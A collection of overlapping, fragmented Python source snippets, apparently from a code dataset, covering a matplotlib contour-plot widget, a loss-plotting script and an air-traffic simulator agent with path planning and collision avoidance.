Brookhaven # # National Laboratory. All rights reserved. # #", "y) = self._data[key] # add the data to the array self._data_arr[counter] = y", "ARE DISCLAIMED. IN NO EVENT SHALL THE # # COPYRIGHT HOLDER OR CONTRIBUTORS", "= len(keys) # cannot plot data if there are no keys if num_keys", "datasets in the data dict num_keys = len(keys) # cannot plot data if", "same # length? num_coords = len(self._data[keys[0]][0]) # declare the array self._data_arr = np.zeros((num_keys,", "BUSINESS INTERRUPTION) # # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER", "IF ADVISED OF THE # # POSSIBILITY OF SUCH DAMAGE. # ######################################################################## from", "logging logger = logging.getLogger(__name__) class ContourView(AbstractDataView2D, AbstractMPLDataView): \"\"\" The ContourView provides a UI", "a display parameter (e.g., offset or autoscaling) or adding new data \"\"\" #", "matplotlib axes self._ax = self._fig.add_subplot(1, 1, 1) self._ax.set_aspect('equal') # plot the data self.replot()", "len(keys) # cannot plot data if there are no keys if num_keys <", "dataset to get the x axis and number of y datasets x, y", "DAMAGE. # ######################################################################## from __future__ import (absolute_import, division, print_function, unicode_literals) import six import", "to get the x axis and number of y datasets x, y =", "the above copyright # # notice this list of conditions and the following", "unicode_literals) import six import numpy as np from .. import QtCore, QtGui from", "from the dict keys = list(six.iterkeys(self._data)) # number of datasets in the data", "to draw the artists on x_data : list list of vectors of x-coordinates", "num_keys - 1 # @tacaswell Should it be required that all datasets are", "len(self._data[keys[0]][0]) # declare the array self._data_arr = np.zeros((num_keys, num_coords)) # add the data", "# # notice this list of conditions and the following disclaimer in #", "self._data_arr[counter] = y # decrement the counter counter -= 1 # get the", "# notice, this list of conditions and the following disclaimer. # # #", "OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE #", "the first dataset to get the x axis and number of y datasets", "the data to the array self._data_arr[counter] = y # decrement the counter counter", "axes self._ax = self._fig.add_subplot(1, 1, 1) self._ax.set_aspect('equal') # plot the data self.replot() def", "are no keys if num_keys < 1: return # set the local counter", "number of datasets in the data dict num_keys = len(keys) # cannot plot", "a 1-D stack into a # 2-D contour. Rewrite this replot method #", "y datasets x, y = self._data[keys[0]] y = np.arange(len(keys)) # TODO: Colormap initialization", "logger = logging.getLogger(__name__) class ContourView(AbstractDataView2D, AbstractMPLDataView): \"\"\" The ContourView provides a UI widget", "# # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS #", "list of the names of each data set cmap : colormap that matplotlib", "without # # modification, are permitted provided that the following conditions # #", "\"\"\" The ContourView provides a UI widget for viewing a number of 1-D", "(absolute_import, division, print_function, unicode_literals) import six import numpy as np from .. import", "DIRECT, # # INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # # (INCLUDING,", "ADVISED OF THE # # POSSIBILITY OF SUCH DAMAGE. # ######################################################################## from __future__", "reserved. # # # # Redistribution and use in source and binary forms,", "PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # # \"AS IS\" AND ANY", "CONTRIBUTORS # # \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT", "# # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, # #", "(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # # SERVICES;", "numpy as np from .. import QtCore, QtGui from . import AbstractMPLDataView from", "of vectors of y-coordinates lbls : list list of the names of each", "= self._fig.add_subplot(1, 1, 1) self._ax.set_aspect('equal') # plot the data self.replot() def replot(self): \"\"\"", "* Redistributions in binary form must reproduce the above copyright # # notice", "SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT", "# # # # * Redistributions of source code must retain the above", "number of y datasets x, y = self._data[keys[0]] y = np.arange(len(keys)) # TODO:", ": list list of vectors of x-coordinates y_data : list list of vectors", "# # * Redistributions of source code must retain the above copyright #", "# # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE", "from this software without # # specific prior written permission. # # #", "y_data : list list of vectors of y-coordinates lbls : list list of", "of its contributors may be used # # to endorse or promote products", "x-coordinates y_data : list list of vectors of y-coordinates lbls : list list", "# IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF", "must reproduce the above copyright # # notice this list of conditions and", "the array self._data_arr[counter] = y # decrement the counter counter -= 1 #", "colormap that matplotlib understands norm : mpl.colors.Normalize \"\"\" # set some defaults #", "0 at y = 0 \"\"\" def __init__(self, fig, data_list=None, cmap=None, norm=None, *args,", "OF THIS SOFTWARE, EVEN IF ADVISED OF THE # # POSSIBILITY OF SUCH", "EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # # LIMITED TO, THE IMPLIED", "in the data dict num_keys = len(keys) # cannot plot data if there", "# no defaults yet # call the parent constructors super(ContourView, self).__init__(data_list=data_list, fig=fig, cmap=cmap,", "PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE # # COPYRIGHT HOLDER OR", "IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # # FOR A PARTICULAR PURPOSE ARE", "nor the names of its contributors may be used # # to endorse" ]
[ "import io loss = Path.cwd().parent.joinpath('savefiles', 'checkpoints', 'loss.log').read_text() loss = re.sub(r'[\\]\\[]', '', loss) df", "import re import io loss = Path.cwd().parent.joinpath('savefiles', 'checkpoints', 'loss.log').read_text() loss = re.sub(r'[\\]\\[]', '',", "= df.groupby(df.index // period).mean() x = np.array(list(_df.index)) y_cls = np.array(_df['cls_loss'].to_list()) y_box = np.array(_df['box_loss'].to_list())", "// period).mean() x = np.array(list(_df.index)) y_cls = np.array(_df['cls_loss'].to_list()) y_box = np.array(_df['box_loss'].to_list()) plt.plot(x, y_cls,", "as plt import numpy as np import pandas as pd from pathlib import", "Path.cwd().parent.joinpath('savefiles', 'checkpoints', 'loss.log').read_text() loss = re.sub(r'[\\]\\[]', '', loss) df = pd.read_csv(io.StringIO(loss), names=['epoch', 'iteration',", "'iteration', 'cls_loss', 'box_loss', 'run_loss']) def avg_loss(period): _df = df.groupby(df.index // period).mean() x =", "import numpy as np import pandas as pd from pathlib import Path import", "'cls_loss', 'box_loss', 'run_loss']) def avg_loss(period): _df = df.groupby(df.index // period).mean() x = np.array(list(_df.index))", "df.groupby(df.index // period).mean() x = np.array(list(_df.index)) y_cls = np.array(_df['cls_loss'].to_list()) y_box = np.array(_df['box_loss'].to_list()) plt.plot(x,", "'loss.log').read_text() loss = re.sub(r'[\\]\\[]', '', loss) df = pd.read_csv(io.StringIO(loss), names=['epoch', 'iteration', 'cls_loss', 'box_loss',", "'checkpoints', 'loss.log').read_text() loss = re.sub(r'[\\]\\[]', '', loss) df = pd.read_csv(io.StringIO(loss), names=['epoch', 'iteration', 'cls_loss',", "np import pandas as pd from pathlib import Path import re import io", "Path import re import io loss = Path.cwd().parent.joinpath('savefiles', 'checkpoints', 'loss.log').read_text() loss = re.sub(r'[\\]\\[]',", "'box_loss', 'run_loss']) def avg_loss(period): _df = df.groupby(df.index // period).mean() x = np.array(list(_df.index)) y_cls", "pathlib import Path import re import io loss = Path.cwd().parent.joinpath('savefiles', 'checkpoints', 'loss.log').read_text() loss", "io loss = Path.cwd().parent.joinpath('savefiles', 'checkpoints', 'loss.log').read_text() loss = re.sub(r'[\\]\\[]', '', loss) df =", "pandas as pd from pathlib import Path import re import io loss =", "= Path.cwd().parent.joinpath('savefiles', 'checkpoints', 'loss.log').read_text() loss = re.sub(r'[\\]\\[]', '', loss) df = pd.read_csv(io.StringIO(loss), names=['epoch',", "def avg_loss(period): _df = df.groupby(df.index // period).mean() x = np.array(list(_df.index)) y_cls = np.array(_df['cls_loss'].to_list())", "loss = Path.cwd().parent.joinpath('savefiles', 'checkpoints', 'loss.log').read_text() loss = re.sub(r'[\\]\\[]', '', loss) df = pd.read_csv(io.StringIO(loss),", "plt import numpy as np import pandas as pd from pathlib import Path", "df = pd.read_csv(io.StringIO(loss), names=['epoch', 'iteration', 'cls_loss', 'box_loss', 'run_loss']) def avg_loss(period): _df = df.groupby(df.index", "re.sub(r'[\\]\\[]', '', loss) df = pd.read_csv(io.StringIO(loss), names=['epoch', 'iteration', 'cls_loss', 'box_loss', 'run_loss']) def avg_loss(period):", "loss) df = pd.read_csv(io.StringIO(loss), names=['epoch', 'iteration', 'cls_loss', 'box_loss', 'run_loss']) def avg_loss(period): _df =", "from pathlib import Path import re import io loss = Path.cwd().parent.joinpath('savefiles', 'checkpoints', 'loss.log').read_text()", "pd.read_csv(io.StringIO(loss), names=['epoch', 'iteration', 'cls_loss', 'box_loss', 'run_loss']) def avg_loss(period): _df = df.groupby(df.index // period).mean()", "as pd from pathlib import Path import re import io loss = Path.cwd().parent.joinpath('savefiles',", "= pd.read_csv(io.StringIO(loss), names=['epoch', 'iteration', 'cls_loss', 'box_loss', 'run_loss']) def avg_loss(period): _df = df.groupby(df.index //", "as np import pandas as pd from pathlib import Path import re import", "'', loss) df = pd.read_csv(io.StringIO(loss), names=['epoch', 'iteration', 'cls_loss', 'box_loss', 'run_loss']) def avg_loss(period): _df", "loss = re.sub(r'[\\]\\[]', '', loss) df = pd.read_csv(io.StringIO(loss), names=['epoch', 'iteration', 'cls_loss', 'box_loss', 'run_loss'])", "numpy as np import pandas as pd from pathlib import Path import re", "import Path import re import io loss = Path.cwd().parent.joinpath('savefiles', 'checkpoints', 'loss.log').read_text() loss =", "_df = df.groupby(df.index // period).mean() x = np.array(list(_df.index)) y_cls = np.array(_df['cls_loss'].to_list()) y_box =", "matplotlib.pyplot as plt import numpy as np import pandas as pd from pathlib", "names=['epoch', 'iteration', 'cls_loss', 'box_loss', 'run_loss']) def avg_loss(period): _df = df.groupby(df.index // period).mean() x", "import pandas as pd from pathlib import Path import re import io loss", "period).mean() x = np.array(list(_df.index)) y_cls = np.array(_df['cls_loss'].to_list()) y_box = np.array(_df['box_loss'].to_list()) plt.plot(x, y_cls, y_box)", "x = np.array(list(_df.index)) y_cls = np.array(_df['cls_loss'].to_list()) y_box = np.array(_df['box_loss'].to_list()) plt.plot(x, y_cls, y_box) plt.show()", "import matplotlib.pyplot as plt import numpy as np import pandas as pd from", "= re.sub(r'[\\]\\[]', '', loss) df = pd.read_csv(io.StringIO(loss), names=['epoch', 'iteration', 'cls_loss', 'box_loss', 'run_loss']) def", "re import io loss = Path.cwd().parent.joinpath('savefiles', 'checkpoints', 'loss.log').read_text() loss = re.sub(r'[\\]\\[]', '', loss)", "'run_loss']) def avg_loss(period): _df = df.groupby(df.index // period).mean() x = np.array(list(_df.index)) y_cls =", "avg_loss(period): _df = df.groupby(df.index // period).mean() x = np.array(list(_df.index)) y_cls = np.array(_df['cls_loss'].to_list()) y_box", "pd from pathlib import Path import re import io loss = Path.cwd().parent.joinpath('savefiles', 'checkpoints'," ]
[ "debug: print('time step is '+str(self.time_step)) print('start_time is '+str(start_time)) print('end_time '+str(end_time)) print('positions '+str(self.positions)) print('times", "self.start_time = t return True def collision_avoidance(self, dt, algo_type='MVP'): # Given current position,", "- current_position) max_step_length = min(speed * dt, d) # slow down to arrive", "= python_time.time() d = np.linalg.norm(self.goal - self.position) speed = min(d / dt, self.maxSpeed)", "+ n_constraint] <= -c) n_constraint += 1 model.addConstr(X[2 + 2 * n_intruder] +", "* (self.goal - self.start) / (np.linalg.norm(self.goal - self.start)) self.new_velocity = self.velocity self.trajectory =", "log_agent(self): agent_log = {'flight_status': self.flight_status, 'agent_type': self.agent_logic, 'desired_time_of_departure': self.desired_start_time, 'agent_id':self.id} if self.flight_status== 'finished'", "= min(d / dt, self.maxSpeed) if d == 0: print('VO, this should not", "an array of agents \"\"\" model = grb.Model('VO') max_vel = ownship_agent.maxSpeed model.addVar(lb=-max_vel, ub=max_vel,", "dV = 0 else: dV =(self.radius*safety_factor - dabsH)*dcpa/(abs(t_cpa)*dabsH) velocity_change += dV timer_end =", "dt: pos = self.compute_straight_move(pos, self.goal, self.maxSpeed, dt) d = np.linalg.norm(self.goal - pos) plan.append(pos)", "self.centralized_manager, self.tolerance) success, plan, times = local_planner.search() if not success: self.flight_status = 'cancelled'", "if lower != start_index_float: pos_0 = self.get_planned_position_at(start_time) trajectory.append(np.copy(pos_0)) times.append(trajectory_start_time) for index in range(lower,", "if times is not None: self.time_step = None self.times = np.array(times) else: self.times", "Agent: def __init__(self, env, radius, max_speed, start=None, end=None, start_time=0, agent_logic='dumb', centralized_manager=None, algo_type=None, agent_dynamics=None,", "None self.flightPlan = None self.status = 'ok' self.agent_logic = agent_logic self.tolerance = self.environment.tolerance", "= python_time.time() sipp_planner = pathPlanning.SIPP(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times", "'dumb': self.ownship = False else: self.ownship = True self.flight_status = 'initialized' self.algo_type =", "if time > self.times[-1]: return np.copy(self.positions[-1]) idx_high = np.searchsorted(self.times, time) idx_low = max(0,", "is None: print('agent.py preflight error, a centralized manager must exist') if algo_type ==", "self.new_velocity * dt if self.agent_logic == 'strategic': # Follow flight plan (without consideration", "1e-4: # requires interpolation # Since we already now the index we could", "if len(times) < 2: print('the plan is too short') print('agent start '+ str(self.start))", "'+str(self.time_step)) print('start_time is '+str(start_time)) print('end_time '+str(end_time)) print('positions '+str(self.positions)) print('times '+str(self.times)) print(start_time-self.end_time) if self.time_step", "np.copy(self.positions[-1]) idx_high = np.searchsorted(self.times, time) idx_low = max(0, idx_high - 1) if self.times[idx_high]", "K = abs(a * max_vel) + abs(b * max_vel) + c model.addConstr(a *", "dt, algo_type='Straight', density=0): # Given, the start/goals and published flight plans of other", "= python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity else: print(algo_type+' not implemented ') def", "if intruders != []: # plotter([-1000,1000],[-1000,1000],100,[get_VO(intruders[0],self)],chosen_v=np.array([vars[0].x,vars[1].x])) pass timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start)", "== []: print('agent, empty trajectory ') # happens if start and goal are", "end_index): trajectory.append(self.positions[i]) times.append(self.times[i]) # trajectory_end_time <= times[end_index] if abs(self.times[end_index]-trajectory_end_time) > 1e-4: # requires", "if agent_logic == 'dumb': protected_area = self.environment.get_protected_area() else: # All other agents can", "== 'reactive': self.density = self.cumulative_density/self.n_steps - 1 agent_log['flight_status']= self.flight_status agent_log['agent_type']= self.agent_logic agent_log['length_ideal']= ideal_length", "np.dot((np.array([x, y]) - intruder_agent.velocity) + 0.1 * normal_1, normal_1) # must be smaller", "float(self.start_time)) / float(self.time_step) idx_low = min(math.floor(idx_float), n - 1) idx_high = min(math.ceil(idx_float), n", "= None if times is not None: self.time_step = None self.times = np.array(times)", "self.goal, self.start_time, self.maxSpeed, self.centralized_manager) success, plan, times = astar_planner.search() if not success: self.flight_status", "np.copy(pos) direction = self.goal - self.start heading = math.atan2(direction[1], direction[0]) if self.agent_logic ==", "it self.density = density if self.centralized_manager is None: print('agent.py preflight error, a centralized", "len(self.positions) if self.time_step is not None: idx_float = (float(time) - float(self.start_time)) / float(self.time_step)", "/ dt if self.agent_logic == 'reactive': self.cumulative_density += density self.n_steps += 1 if", "== 'straight': timer_start = python_time.time() d = np.linalg.norm(self.goal - self.position) speed = min(d", "should not happen intruder and ownship are the same') rel_pos = intruder_agent.position -", "self.agent_logic == 'reactive': agent_log['average_time_to_plan_avoidance'] = sum(self.collision_avoidance_time) / len(self.collision_avoidance_time) agent_log['total_planning_time'] = sum(self.collision_avoidance_time) return agent_log", "Given current position, next flight plan goal and surrounding vehicles decide where to", "- timer_start) return vel elif algo_type == 'straight': timer_start = python_time.time() d =", "is not None: idx_float = (float(time) - float(self.start_time)) / float(self.time_step) idx_low = min(math.floor(idx_float),", "np.linalg.norm(self.goal - pos) plan.append(pos) if d != 0: plan.append(self.goal) self.flightPlan = Flightplan(self.start_time, dt,", "np.linalg.norm(self.goal - self.position) speed = min(d / dt, self.maxSpeed) desired_velocity = (self.goal -", "print('time step is '+str(self.time_step)) print('start_time is '+str(start_time)) print('end_time '+str(end_time)) print('positions '+str(self.positions)) print('times '+str(self.times))", "timer_end - timer_start return self.flightPlan if algo_type == 'Decoupled': timer_start = python_time.time() decoupled_planner", "self.desired_start_time, 'agent_id':self.id} if self.flight_status== 'finished' or self.flight_status == 'ongoing': agent_log['actual_time_of_departure'] = self.start_time if", "return False self.start_time = t return True def collision_avoidance(self, dt, algo_type='MVP'): # Given", "TODO tolerances are a bit of a mess while d > self.maxSpeed *", "are close, redrawing at random') self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal)", "Closest Approach delta_pos = self.position - neighbor.position dist=np.linalg.norm(delta_pos) delta_vel = desired_velocity - neighbor.velocity", "from uam_simulator import orca import gurobipy as grb from gurobipy import GRB import", "0 else: dV =(self.radius*safety_factor - dabsH)*dcpa/(abs(t_cpa)*dabsH) velocity_change += dV timer_end = python_time.time() self.collision_avoidance_time.append(timer_end", "= [] plan.append(self.start) pos = np.copy(self.start) d = np.linalg.norm(self.goal - pos) # Larger", "plan, times = local_planner.search() if not success: self.flight_status = 'cancelled' return None self.start_time", "= idx_low + (time - self.times[idx_low]) / (self.times[idx_high] - self.times[idx_low]) pos_high = self.positions[idx_high]", "time # print('agent start and goal are close, redrawing at random') self.start, self.goal", "rel_pos = intruder_agent.position - ownship_agent.position d = np.linalg.norm(rel_pos) if d == 0: print('the", "= python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan if algo_type == 'Decoupled':", "protected radius') print(ownship_agent.position) print(intruder_agent.position) alpha = math.asin(ownship_agent.radius / d) # VO cone half-angle", "= python_time.time() local_planner = pathPlanning.Local_VO(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times", "= python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return np.array([vars[0].x, vars[1].x]) elif algo_type == 'ORCA': timer_start", "+ str(self.position)) if self.trajectory == []: self.trajectory.append(np.copy(self.position)) self.trajectory_times.append(current_time) self.trajectory.append(np.copy(self.new_position)) self.trajectory_times.append(current_time + dt) self.flight_status", "= np.linalg.norm(self.goal - self.position) speed = min(d / dt, self.maxSpeed) desired_velocity = (self.goal", "t >= vehicle.start_time and vehicle.id != self.id: # if np.linalg.norm(self.position - vehicle.position) <=", "env, radius, max_speed, start=None, end=None, start_time=0, agent_logic='dumb', centralized_manager=None, algo_type=None, agent_dynamics=None, id=0, sensing_radius=10000, flight_leg='initial'):", "as grb from gurobipy import GRB import time as python_time class Flightplan: def", "= max_speed self.sensing_radius = sensing_radius self.desired_start_time = start_time self.start_time = start_time # actual", "return current_position + np.array([math.cos(orientation), math.sin(orientation)]) * max_step_length def move(self): self.position = np.copy(self.new_position) self.velocity", "= self.environment.get_neighbors(self.position, self.radius) for vehicle in neighbors: if t >= vehicle.start_time and vehicle.id", "so query one more neighbor neighbors = self.environment.get_nearest_neighbors(self.position, k+1, max_radius) if neighbors ==", "- c # K must be arbitrarily large so that when the binary", "slow down to arrive at the goal on the next time step return", "/ dist * dabsH if self.radius*safety_factor < dist: erratum = np.cos(np.arcsin((self.radius*safety_factor) / dist)", "c b = constraint(0, 1) - c # K must be arbitrarily large", "- neighbor.velocity if np.linalg.norm(delta_vel)==0: t_cpa=0 else: t_cpa=-np.dot(delta_pos, delta_vel) / np.dot(delta_vel, delta_vel) dcpa =", "in place protected_area = None # Can't have random start and not random", "self.start_time = start_time # actual start time if a ground delay is planned", "times ' + str(times)) self.flightPlan = Flightplan(times[0], times[1] - times[0], plan, times=np.array(times)) timer_end", "self.times[idx_low]) pos_high = self.positions[idx_high] pos_low = self.positions[idx_low] # if time is exactly integer", "avoid a second call to search sorted trajectory.append(self.get_planned_position_at(trajectory_start_time)) times.append(trajectory_start_time) for i in range(start_index,", "times.append(trajectory_end_time) else: trajectory.append(self.positions[end_index]) times.append(trajectory_end_time) else: start_index_float = float((trajectory_start_time - self.start_time) / self.time_step) end_index_float", "__init__(self, env, radius, max_speed, start=None, end=None, start_time=0, agent_logic='dumb', centralized_manager=None, algo_type=None, agent_dynamics=None, id=0, sensing_radius=10000,", "moving away from conflict (tcpa is negative) then just keep going if t_cpa<=0:", "- pos_low) * (idx_float - idx_low) def get_planned_trajectory_between(self, start_time, end_time, debug=False): \"\"\" Returns", "+ str(times)) self.flightPlan = Flightplan(times[0], times[1] - times[0], plan, times=np.array(times)) timer_end = python_time.time()", "(without consideration for kinematic properties) self.new_position = self.flightPlan.get_planned_position_at(current_time + dt, debug=debug) self.new_velocity =", "# plotter([-1000,1000],[-1000,1000],100,[get_VO(intruders[0],self)],chosen_v=np.array([vars[0].x,vars[1].x])) pass timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return np.array([vars[0].x, vars[1].x]) elif", "- self.start)) self.new_velocity = self.velocity self.trajectory = [] self.trajectory_times = [] self.collision_avoidance_time =", "self.maxSpeed agent_log['actual_time_of_arrival']= self.arrival_time if self.t_removed_from_sim is not None: agent_log['time_removed_from_sim']=self.t_removed_from_sim agent_log['heading']= heading agent_log['density']= self.density", "time) idx_low = max(0, idx_high - 1) if self.times[idx_high] == time or idx_low", "happen intruder and ownship are the same') rel_pos = intruder_agent.position - ownship_agent.position d", "- self.start) == 0: print(agent_logic) print(start) print(end) print(np.linalg.norm(self.goal - self.start)) self.velocity = self.maxSpeed", "now the index we could avoid a second call to search sorted trajectory.append(self.get_planned_position_at(trajectory_start_time))", "keep going if t_cpa<=0: dV = 0 else: dV =(self.radius*safety_factor - dabsH)*dcpa/(abs(t_cpa)*dabsH) velocity_change", "- ownship_agent.position d = np.linalg.norm(rel_pos) if d == 0: print('the distance between the", "== time or idx_low == idx_high: if return_velocity: if idx_high == n-1: velocity", "success: self.flight_status = 'cancelled' return None self.start_time = times[0] self.flightPlan = Flightplan(times[0], times[1]", "+ (time - self.times[idx_low]) / (self.times[idx_high] - self.times[idx_low]) pos_high = self.positions[idx_high] pos_low =", "return_velocity: if idx_high == n-1: velocity = np.array([0, 0]) else: velocity = (self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high])", "sensing_radius=10000, flight_leg='initial'): self.id = id self.environment = env self.centralized_manager = centralized_manager self.agent_dynamics =", "the same') rel_pos = intruder_agent.position - ownship_agent.position d = np.linalg.norm(rel_pos) if d ==", "between the two agents is 0') if ownship_agent.radius > d: print('there is an", "(end_time - self.start_time) <= 1e-4: return None, None trajectory_end_time = min(end_time, self.end_time) trajectory_start_time", "to find a solution') print(model.status) vars = model.getVars() if intruders != []: #", "move is called \"\"\" if self.agent_logic == 'dumb': self.new_position = self.compute_straight_move(self.position, self.goal, self.maxSpeed,", "= (self.new_position - self.position) / dt if self.agent_logic == 'reactive': self.cumulative_density += density", "trajectory.append(self.positions[i]) times.append(self.times[i]) # trajectory_end_time <= times[end_index] if abs(self.times[end_index]-trajectory_end_time) > 1e-4: # requires interpolation", "decoupled_planner.search() if not success: self.flight_status = 'cancelled' return None self.start_time = times[0] self.flightPlan", "when move is called \"\"\" if self.agent_logic == 'dumb': self.new_position = self.compute_straight_move(self.position, self.goal,", "if abs(turn_angle)>max_angle: vel = self.velocity * v_clamped / np.linalg.norm(self.velocity) theta=math.copysign(max_angle,turn_angle) return vel @", "/ v def preflight(self, dt, algo_type='Straight', density=0): # Given, the start/goals and published", "if self.agent_logic == 'reactive': self.density = self.cumulative_density/self.n_steps - 1 agent_log['flight_status']= self.flight_status agent_log['agent_type']= self.agent_logic", "self.collision_avoidance_time.append(timer_end - timer_start) return np.array([vars[0].x, vars[1].x]) elif algo_type == 'ORCA': timer_start = python_time.time()", "end is None: self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal) < 10:", "= np.linalg.norm(direction) desired_velocity = min(self.maxSpeed, d / dt) * direction / d safety_factor", "self.flightPlan.end_time else: print('Agent: in order to get the predicted end time a flight", "just clamp the velocity and instantly change the orientation v = np.linalg.norm(new_velocity) v_clamped", "self.maxSpeed, v) if self.agent_dynamics is None: return new_velocity * v_clamped / v else:", "in neighbors: if t >= vehicle.start_time and vehicle.id != self.id: # if np.linalg.norm(self.position", "= np.array([self.start_time + i * self.time_step for i in range(0, len(self.positions))]) if self.time_step", "len(self.positions) - 1) if lower != start_index_float: pos_0 = self.get_planned_position_at(start_time) trajectory.append(np.copy(pos_0)) times.append(trajectory_start_time) for", "else: return self.positions[idx_high] idx_float = idx_low + (time - self.times[idx_low]) / (self.times[idx_high] -", "d<=self.radius: # dV=0 # else: for neighbor in neighbors: # Find Time of", "conflict if dabsH<=10: dabsH=10 dcpa[0] = delta_pos[1] / dist * dabsH dcpa[1] =", "== 'A_star_8': timer_start = python_time.time() astar_planner = pathPlanning.AStar_8grid(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager) success,", "[] self.preflight_time = None self.flightPlan = None self.status = 'ok' self.agent_logic = agent_logic", "is an intruder in the protected radius') print(ownship_agent.position) print(intruder_agent.position) alpha = math.asin(ownship_agent.radius /", "(len(self.positions) - 1) * self.time_step else: self.end_time=self.times[-1] def get_planned_position_at(self, time, return_velocity=False, ignore_timed_out=False, debug=False):", "np.linalg.norm(pos - pos_0) actual_length += d pos_0 = np.copy(pos) direction = self.goal -", "arbitrarily large so that when the binary constraint is 1 the constraint is", "self.times is sorted [start_index, end_index] = np.searchsorted(self.times, [trajectory_start_time, trajectory_end_time]) temp = self.times[start_index] if", "degrees constraint1 = lambda x, y: np.dot((np.array([x, y]) - intruder_agent.velocity) + 0.1 *", "self.agent_logic = agent_logic self.tolerance = self.environment.tolerance self.t_removed_from_sim=None if agent_logic == 'dumb': self.ownship =", "python_time.time() intruders = self.get_neighbors() d = np.linalg.norm(self.goal - self.position) speed = min(d /", "if neighbors == []: return [] else: return neighbors[neighbors != self] def finish_flight(self,", "self.centralized_manager, self.tolerance) success, plan, times = sipp_planner.search() if not success: self.flight_status = 'cancelled'", "== 'reactive': self.cumulative_density += density self.n_steps += 1 if self.algo_type is None: self.algo_type", "n_constraint += 1 model.addConstr(X[2 + 2 * n_intruder] + X[2 + 2 *", "cone half-angle (>=0) theta = math.atan2(rel_pos[1], rel_pos[0]) vector1 = [math.cos(theta + alpha), math.sin(theta", "d model = setupMIQCP(intruders, desired_velocity, self) model.optimize() if model.status != GRB.Status.OPTIMAL: print('Error gurobi", "delay is planned if np.linalg.norm(self.goal - self.start) == 0: print(agent_logic) print(start) print(end) print(np.linalg.norm(self.goal", "is negative) then just keep going if t_cpa<=0: dV = 0 else: dV", "velocity_change elif algo_type == 'VO': timer_start = python_time.time() intruders = self.get_neighbors() d =", "Intruders should be an array of agents \"\"\" model = grb.Model('VO') max_vel =", "else: if time > self.times[-1]: return np.copy(self.positions[-1]) idx_high = np.searchsorted(self.times, time) idx_low =", "v) if self.agent_dynamics is None: return new_velocity * v_clamped / v else: turn_angle", "if algo_type == 'Decoupled': timer_start = python_time.time() decoupled_planner = pathPlanning.DecoupledApproach(self.start, self.goal, self.start_time, self.maxSpeed,", "current_time, dt, debug=False, density=0): \"\"\" Store the next position in self.new_position. The position", "= 0 for constraint in constraints_or: c = constraint(0, 0) a = constraint(1,", "dt, self.maxSpeed) if d == 0: print('VO, this should not happen') print('distance to", "radius') print(ownship_agent.position) print(intruder_agent.position) alpha = math.asin(ownship_agent.radius / d) # VO cone half-angle (>=0)", "'LocalVO': timer_start = python_time.time() local_planner = pathPlanning.Local_VO(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success,", "speed / d timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity else: print(algo_type+'", "= np.linalg.norm(dcpa) # If there is a conflict if dabsH < self.radius: #", "Indices are equal because idx_float is an int if return_velocity: if idx_high ==", "pathPlanning.DecoupledApproach(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = decoupled_planner.search() if not", "binary constraint is 1 the constraint is always respected K = abs(a *", "equal because idx_float is an int if return_velocity: if idx_high == n-1: velocity", "goal and surrounding vehicles decide where to go # Based on Hoekstra Bluesky", "dabsH<=10: dabsH=10 dcpa[0] = delta_pos[1] / dist * dabsH dcpa[1] = -delta_pos[0] /", "+ velocity_change elif algo_type == 'VO': timer_start = python_time.time() intruders = self.get_neighbors() d", "more neighbor neighbors = self.environment.get_nearest_neighbors(self.position, k+1, max_radius) if neighbors == []: return []", "= np.copy(self.start) # Passed by reference self.new_position = np.copy(self.start) self.radius = radius self.orientation", "large so that when the binary constraint is 1 the constraint is always", "must be smaller normal_2 = np.array([-vector2[1], vector2[0]]) # Rotated -90 degrees constraint2 =", "trajectory.append(self.get_planned_position_at(trajectory_start_time)) times.append(trajectory_start_time) for i in range(start_index, end_index): trajectory.append(self.positions[i]) times.append(self.times[i]) # trajectory_end_time <= times[end_index]", "None: return self.flightPlan.end_time else: print('Agent: in order to get the predicted end time", "idx_low = max(0, idx_high - 1) if self.times[idx_high] == time or idx_low ==", "= self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal) < 10: print('unlikely, agent start and goal", "half-angle (>=0) theta = math.atan2(rel_pos[1], rel_pos[0]) vector1 = [math.cos(theta + alpha), math.sin(theta +", "# For now just clamp the velocity and instantly change the orientation v", "if algo_type == 'SIPP': timer_start = python_time.time() sipp_planner = pathPlanning.SIPP(self.start, self.goal, self.start_time, self.maxSpeed,", "0 if self.trajectory == []: print('agent, empty trajectory ') # happens if start", "np.copy(self.start) d = np.linalg.norm(self.goal - pos) # Larger time steps require larger tolerance", "self.time_step for i in range(0, len(self.positions))]) if 